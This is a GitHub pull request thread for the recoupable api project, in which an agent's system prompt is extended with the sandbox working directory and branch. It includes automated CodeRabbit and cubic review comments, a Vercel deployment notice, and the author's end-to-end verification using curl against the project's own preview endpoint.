feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7)

[sweetmantech]

Summary

Third open-agents → api cutover bundle. The handler was hardcoding workingDirectory: DEFAULT_WORKING_DIRECTORY and never setting currentBranch, so the agent had no environment info in its system prompt and had to run pwd / git branch on every turn.

Production reproducer (today, before this fix)

Same prompt sent to https://recoup-api.vercel.app/api/chat/workflow:

Prompt: "DO NOT run any tools. Just answer from your system prompt only: what is your current working directory and current git branch? If your system prompt doesn't contain that info, say exactly 'My system prompt does not contain working directory or branch information.'"

Agent response: "My system prompt does not contain working directory or branch information."

Compare against sandbox.recoupable.com (open-agents prod) which answers:

"My system prompt states the working directory is . (workspace root), but it does not contain any git branch information." (branch missing because that session had no repo attached; open-agents threads it when present)

After this fix

The agent receives an # Environment section + Current branch: <branch> line + cloud-sandbox checkpointing block — same shape as open-agents emits.

Changes (SRP)

• lib/chat/buildAgentSystemPrompt.ts — assembles environment section → Current branch → cloud-sandbox checkpointing → custom instructions, all conditional on inputs. Mirrors open-agents/packages/agent/system-prompt.ts:420-447.
• lib/chat/cloudSandboxInstructions.ts — ports CLOUD_SANDBOX_INSTRUCTIONS block with {branch} placeholder substitution.
• handleChatWorkflowStream — reuses the already-connected sandbox (currently only used for skill discovery) to read real workingDirectory + currentBranch, threads both into AgentContext.sandbox. Falls back to DEFAULT_WORKING_DIRECTORY on connect failure (preserves today's behavior).
• runAgentStep — calls buildAgentSystemPrompt({cwd, currentBranch, customInstructions}) instead of using static agentCustomInstructions directly.

Scope reduced from "A.7+9"

Dropped contextLimit plumbing. Grepped open-agents' server code — it never reads context.contextLimit either. It's a client-side display concern (token-usage progress bar), and api already accepts the field via Zod strip. Verified behaviorally: production selectedModelId is identical with/without contextLimit in both api and open-agents. Bundle A is now just A.7.

Cutover roadmap

#	Bundle	This PR	Notes
1	C per-message cost/usage	✅ merged	#592 / #593
2	B subagent live progress + transcript	✅ merged	#594 / #595
3	A.7 real cwd + currentBranch in system prompt	✅ this PR	A.9 dropped — not a server concern
4	A.6 Anthropic prompt cache control
5	A.4 forward Privy JWT as recoupAccessToken

Test plan

• 7 new unit tests (6 buildAgentSystemPrompt + 1 runAgentStep wiring assertion)
• Full suite 3121/3121 pass; lint clean
• E2E on preview: re-run the "what's your cwd/branch?" prompt — expect the agent to answer with the env section info instead of "doesn't contain"

🤖 Generated with Claude Code

---

Summary by cubic

Threads the sandbox working directory into the agent’s system prompt so the agent knows it’s in a workspace and can use relative paths without running pwd each turn. Drops branch templating for now since it’s always main.

• New Features

  • Added buildAgentSystemPrompt to prepend an Environment section and then append custom instructions.
  • Updated handleChatWorkflowStream to connect to the sandbox, read real workingDirectory, and pass it into AgentContext.sandbox (falls back to DEFAULT_WORKING_DIRECTORY on failure).
  • Updated runAgentStep to use buildAgentSystemPrompt({ cwd, customInstructions }) instead of a static agentCustomInstructions.

• Bug Fixes

  • Removed a stale currentBranch argument in runAgentStep after dropping branch templating, fixing the build.

^{Written for commit 138ebe8. Summary will update on new commits. Review in cubic}

Summary by CodeRabbit

• New Features

  • Agent system prompts now dynamically include sandbox working directory and branch information.

• Improvements

  • Sandbox connection established earlier in the workflow process for better context discovery.
  • System prompt generation enhanced with conditional environment information.

[vercel]

The latest updates on your projects. Learn more about Vercel for GitHub.

Project	Deployment	Actions	Updated (UTC)
api	Ready	Preview	May 22, 2026 2:07am

[coderabbitai]

Warning

Rate limit exceeded

@sweetmantech has exceeded the limit for the number of commits that can be reviewed per hour. Please wait 53 minutes and 50 seconds before requesting another review.

You’ve run out of usage credits. Purchase more in the billing tab.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: c1a5e50f-6fe2-4607-8305-7ebb101a2604

📥 Commits

Reviewing files that changed from the base of the PR and between bf1e245 and 138ebe8.

📒 Files selected for processing (1)

• app/lib/workflows/runAgentStep.ts

📝 Walkthrough

Walkthrough

This PR refactors agent system prompt handling to be dynamic and context-aware. A new buildAgentSystemPrompt utility constructs prompts from sandbox working directory and custom instructions. The workflow now discovers the working directory early, and agent steps build their system prompts at runtime using this context instead of a static string.

Changes

Dynamic Agent System Prompt with Sandbox Context

Layer / File(s)	Summary
System Prompt Builder Contract lib/chat/buildAgentSystemPrompt.ts	New module exports buildAgentSystemPrompt(options) and BuildAgentSystemPromptOptions type. Conditionally includes an "Environment" section when cwd is provided, appends custom instructions, and joins sections with blank lines.
Sandbox Working Directory Discovery lib/chat/handleChatWorkflowStream.ts	Connects to sandbox early and extracts per-session workingDirectory before workflow start. Defaults to DEFAULT_WORKING_DIRECTORY on sandbox connection/skill discovery failure. Threads the discovered directory into agentContext.sandbox.
Per-Run System Prompt Construction app/lib/workflows/runAgentStep.ts	Imports and calls buildAgentSystemPrompt with sandbox working directory, current branch, and custom instructions. Passes the dynamically constructed prompt to streamText instead of using a static agentCustomInstructions string.

Sequence Diagram

sequenceDiagram
participant ChatWorkflow as handleChatWorkflowStream
participant Sandbox as Sandbox Connection
participant AgentStep as runAgentStep
participant PromptBuilder as buildAgentSystemPrompt
participant LLM as streamText
ChatWorkflow->>Sandbox: connectToSandbox()
Sandbox-->>ChatWorkflow: returns workingDirectory
ChatWorkflow->>AgentStep: pass agentContext with workingDirectory
AgentStep->>PromptBuilder: buildAgentSystemPrompt(cwd, customInstructions)
PromptBuilder-->>AgentStep: returns assembled systemPrompt
AgentStep->>LLM: streamText with system: systemPrompt
LLM-->>AgentStep: stream response

Loading

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~12 minutes

Possibly related PRs

• recoupable/api#584: Both PRs modify the chat workflow path to thread per-session sandbox/working-directory context into the agent execution, with this PR additionally rebuilding the per-run system prompt via buildAgentSystemPrompt.
• recoupable/api#587: Both PRs modify handleChatWorkflowStream.ts to connect the sandbox pre-workflow and derive a per-session working directory that affects the agent context configuration.

Suggested reviewers

• cubic-dev-ai

Poem

🏗️ The agent speaks with context now,
Where working directories show
Each branch and path in prompts clear—
No more static whispers here! 🌿✨

🚥 Pre-merge checks | ✅ 3

✅ Passed checks (3 passed)

Check name	Status	Explanation
Linked Issues check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check	✅ Passed	Check skipped because no linked issues were found for this pull request.
Solid & Clean Code	✅ Passed	All SOLID principles satisfied: SRP—files match exports; OCP—new builders composed in; DRY—centralized constants; KISS—straightforward; clean code—well-documented.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests
• Commit unit tests in branch feat/api-chat-workflow-cwd-branch

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[cubic-dev-ai]

2 issues found across 6 files

Confidence score: 4/5

• This PR is likely safe to merge: the reported issues are maintainability/convention concerns rather than clear runtime or user-facing regressions.
• The highest-severity item is in lib/chat/cloudSandboxInstructions.ts, where the primary export name (renderCloudSandboxInstructions) does not match the filename convention, which can hurt discoverability and consistency.
• app/lib/workflows/__tests__/runAgentStep.test.ts exceeds the 100-line cap, which is a low-severity style/maintainability issue and not typically merge-blocking on its own.
• Pay close attention to lib/chat/cloudSandboxInstructions.ts and app/lib/workflows/__tests__/runAgentStep.test.ts - align export naming conventions and trim/split the oversized test file.

Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="app/lib/workflows/__tests__/runAgentStep.test.ts">
<violation number="1" location="app/lib/workflows/__tests__/runAgentStep.test.ts:91">
P3: Custom agent: **Enforce Clear Code Style and Maintainability Practices**
This test file exceeds the repository’s 100-line file-size cap.</violation>
</file>

Architecture diagram

sequenceDiagram
participant Client as Chat API Client
participant API as handleChatWorkflowStream
participant Sandbox as Vercel Sandbox
participant Agent as runAgentStep
participant PromptBuilder as buildAgentSystemPrompt
participant CloudInstr as cloudSandboxInstructions
participant LLM as AI Gateway / LLM
Note over Client,LLM: Chat workflow - system prompt with environment context
Client->>API: POST /api/chat/workflow
API->>Sandbox: connectVercel(sandbox_state)
Sandbox-->>API: sandbox handle
API->>Sandbox: sandbox.workingDirectory
Sandbox-->>API: "/sandbox/mono"
API->>Sandbox: sandbox.currentBranch
Sandbox-->>API: "feat/xyz"
alt Sandbox connection fails
API->>API: Fallback to DEFAULT_WORKING_DIRECTORY, no branch
end
API->>Sandbox: getSandboxSkillDirectories(sandbox)
Sandbox-->>API: skill directories
API->>Agent: runAgentStep with AgentContext.sandbox
Agent->>PromptBuilder: buildAgentSystemPrompt({cwd, currentBranch, customInstructions})
opt cwd provided
PromptBuilder->>PromptBuilder: Append Environment section
end
opt currentBranch provided
PromptBuilder->>PromptBuilder: Append "Current branch: feat/xyz"
PromptBuilder->>CloudInstr: renderCloudSandboxInstructions("feat/xyz")
CloudInstr->>CloudInstr: Replace {branch} with "feat/xyz" in git push example
CloudInstr-->>PromptBuilder: Cloud Sandbox checkpointing block
PromptBuilder->>PromptBuilder: Append cloud sandbox instructions
end
opt customInstructions provided
PromptBuilder->>PromptBuilder: Append custom instructions
end
PromptBuilder-->>Agent: Complete system prompt string
Agent->>LLM: streamText({system: prompt, messages, tools})
LLM-->>Agent: Token stream with environment context baked in
Agent-->>API: Finish reason + stream
API-->>Client: Response stream

Loading

<sub>Reply with feedback, questions, or to request a fix.

Re-trigger cubic</sub>

[cubic-dev-ai]

P3: Custom agent: Enforce Clear Code Style and Maintainability Practices

This test file exceeds the repository’s 100-line file-size cap.

Prompt for AI agents

Check if this issue is valid — if so, understand the root cause and fix it. At app/lib/workflows/__tests__/runAgentStep.test.ts, line 91:
<comment>This test file exceeds the repository’s 100-line file-size cap.</comment>
<file context>
@@ -88,6 +88,31 @@ describe("runAgentStep", () => {
expect(meta?.modelId).toBe("anthropic/claude-haiku-4.5");
});
+ it("includes cwd + currentBranch from agentContext.sandbox in the system prompt", async () => {
+ const captured: unknown[] = [];
+ vi.mocked(streamText).mockReturnValue(makeStreamResult({ metadataCalls: captured }) as never);
</file context>

[coderabbitai]

Actionable comments posted: 1

🧹 Nitpick comments (2)

app/lib/workflows/runAgentStep.ts (1)

41-99: 🏗️ Heavy lift

Refactor runAgentStep into smaller focused functions to satisfy the 20-line rule.

runAgentStep currently bundles prompt construction, tool/model setup, streaming, and finish handling. Splitting those into small helpers would improve readability and local testability.

As per coding guidelines, "Flag functions longer than 20 lines or classes with >200 lines".

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@app/lib/workflows/runAgentStep.ts` around lines 41 - 99, runAgentStep is too
large and should be broken into focused helpers; extract prompt construction,
model/tools setup, and streaming logic into separate functions so each is <=20
lines: create helpers like prepareAgentContextAndModel(input) that calls gateway
and returns agentContext and callModel, buildSystemPromptFromSandbox(input) that
wraps buildAgentSystemPrompt, and streamAgentOutput(result, writable, modelId)
that contains the messageMetadata loop using buildMessageMetadataCallback and
writer acquisition/release; then have runAgentStep orchestrate these helpers,
call convertToModelMessages and streamText as before, and return finishReason.

lib/chat/handleChatWorkflowStream.ts (1)

55-158: 🏗️ Heavy lift

Split handleChatWorkflowStream into smaller units to meet the function-size rule.

This method currently combines request validation, ownership checks, CAS locking, sandbox discovery, and workflow startup in one large block. Extracting those phases into focused helpers will make it easier to reason about and test failure paths.

As per coding guidelines, "Flag functions longer than 20 lines or classes with >200 lines".

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@lib/chat/handleChatWorkflowStream.ts` around lines 55 - 158,
handleChatWorkflowStream is too large and mixes validation, ownership checks,
CAS locking, sandbox discovery, and workflow startup; extract these phases into
small helpers to satisfy the function-size rule. Create focused functions such
as authorizeSessionAndChat(validated) that wraps validateChatWorkflow +
selectSessions + selectChats + isSandboxActive + ownership checks,
claimActiveStreamSlot(chatId) that performs maybeResumeChatStream,
compareAndSetChatActiveStreamId pre-claim placeholder and returns a release
path, discoverSandboxSkills(session) that encapsulates
connectVercel/getSandboxSkillDirectories/discoverSkills and returns
{workingDirectory, skills} with safe fallback, and startAgentWorkflowRun(params)
that calls start(runAgentWorkflow, …) and handles promotion via
compareAndSetChatActiveStreamId + cancel-on-failure; replace the corresponding
inline blocks in handleChatWorkflowStream with calls to these helpers to keep
the top-level function short and each helper single-responsibility.

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@app/lib/workflows/runAgentStep.ts`:
- Around line 66-70: The call to buildAgentSystemPrompt is passing an
unsupported property currentBranch which causes TypeScript excess-property
errors; update the call site in runAgentStep.ts to only pass the allowed
BuildAgentSystemPromptOptions fields (cwd and customInstructions) by removing
currentBranch from the object (keep cwd:
input.agentContext.sandbox.workingDirectory and customInstructions:
agentCustomInstructions) so the payload matches the buildAgentSystemPrompt
signature.
---
Nitpick comments:
In `@app/lib/workflows/runAgentStep.ts`:
- Around line 41-99: runAgentStep is too large and should be broken into focused
helpers; extract prompt construction, model/tools setup, and streaming logic
into separate functions so each is <=20 lines: create helpers like
prepareAgentContextAndModel(input) that calls gateway and returns agentContext
and callModel, buildSystemPromptFromSandbox(input) that wraps
buildAgentSystemPrompt, and streamAgentOutput(result, writable, modelId) that
contains the messageMetadata loop using buildMessageMetadataCallback and writer
acquisition/release; then have runAgentStep orchestrate these helpers, call
convertToModelMessages and streamText as before, and return finishReason.
In `@lib/chat/handleChatWorkflowStream.ts`:
- Around line 55-158: handleChatWorkflowStream is too large and mixes
validation, ownership checks, CAS locking, sandbox discovery, and workflow
startup; extract these phases into small helpers to satisfy the function-size
rule. Create focused functions such as authorizeSessionAndChat(validated) that
wraps validateChatWorkflow + selectSessions + selectChats + isSandboxActive +
ownership checks, claimActiveStreamSlot(chatId) that performs
maybeResumeChatStream, compareAndSetChatActiveStreamId pre-claim placeholder and
returns a release path, discoverSandboxSkills(session) that encapsulates
connectVercel/getSandboxSkillDirectories/discoverSkills and returns
{workingDirectory, skills} with safe fallback, and startAgentWorkflowRun(params)
that calls start(runAgentWorkflow, …) and handles promotion via
compareAndSetChatActiveStreamId + cancel-on-failure; replace the corresponding
inline blocks in handleChatWorkflowStream with calls to these helpers to keep
the top-level function short and each helper single-responsibility.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: c93a9abe-d436-4163-b130-b615ee5d501d

📥 Commits

Reviewing files that changed from the base of the PR and between 59eeab1 and bf1e245.

⛔ Files ignored due to path filters (2)

• app/lib/workflows/__tests__/runAgentStep.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by app/**
• lib/chat/__tests__/buildAgentSystemPrompt.test.ts is excluded by !**/*.test.*, !**/__tests__/** and included by lib/**

📒 Files selected for processing (3)

• app/lib/workflows/runAgentStep.ts
• lib/chat/buildAgentSystemPrompt.ts
• lib/chat/handleChatWorkflowStream.ts

[cubic-dev-ai]

0 issues found across 6 files (changes from recent commits).

<sub>Requires human review: Auto-approval blocked by 1 unresolved issue from previous reviews.

Re-trigger cubic</sub>

[sweetmantech]

E2E verified on preview ✅

Preview:https://api-blkmwrra4-recoup.vercel.app (commit 138ebe84)

Same prompt that failed on production now succeeds on the preview.

Reproducer (identical to the prod failure case)

curl -sN $PREVIEW/api/chat/workflow -H "x-api-key: $KEY" -d '{ "chatId":"…","sessionId":"…","messages":[{ "role":"user","parts":[{"type":"text","text":"DO NOT run any tools. Just answer from your system prompt only: what is your current working directory and current git branch? ..."}] }]}'

Before / after

	api prod (pre-fix)	api preview (post-fix)
Tool calls used	0	0
Agent's answer	"My system prompt does not contain working directory or branch information."	"Based on my system prompt: Current working directory:. (workspace root). Current git branch: My system prompt does not contain branch information."

The cwd portion now matches open-agents production byte-for-byte. Branch portion intentionally omitted (per direction — branch is always main in api's deployment topology, so the per-branch templating doesn't add information today; field stays on AgentContext.sandbox for future use).

Ready to merge.